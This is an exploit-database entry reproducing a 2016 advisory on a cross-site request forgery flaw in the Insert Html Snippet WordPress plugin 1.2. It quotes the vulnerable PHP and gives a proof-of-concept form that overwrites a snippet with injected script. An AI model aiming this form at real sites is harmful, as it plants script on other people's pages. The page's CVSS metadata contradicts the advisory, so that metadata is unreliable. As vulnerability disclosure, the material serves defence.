Exploitalert - Database of Exploits

WordPress Insert Html Snippet 1.2 Cross Site Request Forgery

CVE	Category	Price	Severity
CVE-2020-35753	CWE-352	Unknown	High

Author	Risk	Exploitation Type	Date
Exploit Alert Team	High	Remote	2016-11-30

CVSS	EPSS	EPSSP
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/S:U/C:L/I:L/A:L	0	0

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements	Present	AT	The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: A race condition must be won to successfully exploit the vulnerability. The successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker. The attack may need to be launched multiple times against a single target before being successful. Network injection. The attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker).
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	Low	C	There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity	Low	I	Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability	Low	A	There is reduced performance or interruptions in resource availability. However, the attacker does not have the ability to completely prevent access to the resources or services; the impact is limited.

https://cxsecurity.com/ascii/WLB-2016110241

WordPress Insert Html Snippet 1.2 Cross Site Request Forgery------------------------------------------------------------------------ Cross-Site Request Forgery in Insert Html Snippet WordPress Plugin ------------------------------------------------------------------------ Yorick Koster, July 2016 ------------------------------------------------------------------------ OVE ID ------------------------------------------------------------------------ OVE-20160724-0027 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ It was discovered that the Insert Html Snippet WordPress Plugin is vulnerable to Cross-Site Request Forgery. Amongst others, this issue can be used to update an existing HTML snippet. This can be used to insert arbitrary HTML and scripting code within a post or page that uses the snippet. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website. ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was successfully tested on Insert Html Snippet WordPress Plugin version 1.2. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ This issue has been addressed in Insert Html Snippet version 1.2.1. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_insert_html_snippet_wordpress_plugin.html This issue exists because Insert Html Snippet lacks protection against Cross-Site Request Forgery attacks. See for example the code that is used to edit a snippet. if(isset($_POST) && isset($_POST['updateSubmit'])){ // echo '<pre>'; // print_r($_POST); // die("JJJ"); $_POST = stripslashes_deep($_POST); $_POST = xyz_trim_deep($_POST); $xyz_ihs_snippetId = $_GET['snippetId']; $temp_xyz_ihs_title = str_replace(' ', '', $_POST['snippetTitle']); $temp_xyz_ihs_title = str_replace('-', '', $temp_xyz_ihs_title); $xyz_ihs_title = str_replace(' ', '-', $_POST['snippetTitle']); $xyz_ihs_content = $_POST['snippetContent']; if($xyz_ihs_title != "" && $xyz_ihs_content != ""){ if(ctype_alnum($temp_xyz_ihs_title)) { $snippet_count = $wpdb->query($wpdb->prepare( 'SELECT * FROM '.$wpdb->prefix.'xyz_ihs_short_code WHERE id!=%d AND title=%s LIMIT 0,1',$xyz_ihs_snippetId,$xyz_ihs_title)) ; if($snippet_count == 0){ $xyz_shortCode = '[xyz-ihs snippet="'.$xyz_ihs_title.'"]'; $wpdb->update($wpdb->prefix.'xyz_ihs_short_code', array('title'=>$xyz_ihs_title,'content'=>$xyz_ihs_content,'short_code'=>$xyz_shortCode,), array('id'=>$xyz_ihs_snippetId)); In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website. Proof of concept <html> <body> <form action="http://<target>/wp-admin/admin.php?page=insert-html-snippet-manage&action=snippet-edit&snippetId=1&pageno=1" method="POST"> <input type="hidden" name="snippetId" value="1" /> <input type="hidden" name="snippetTitle" value="Fu" /> <input type="hidden" name="snippetContent" value="<script>alert(1);</script>" /> <input type="hidden" name="updateSubmit" value="Update" /> <input type="submit" value="Submit request" /> </form> </body> </html> ------------------------------------------------------------------------ Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its goal is to contribute to the security of popular, widely used OSS projects in a fun and educational way.

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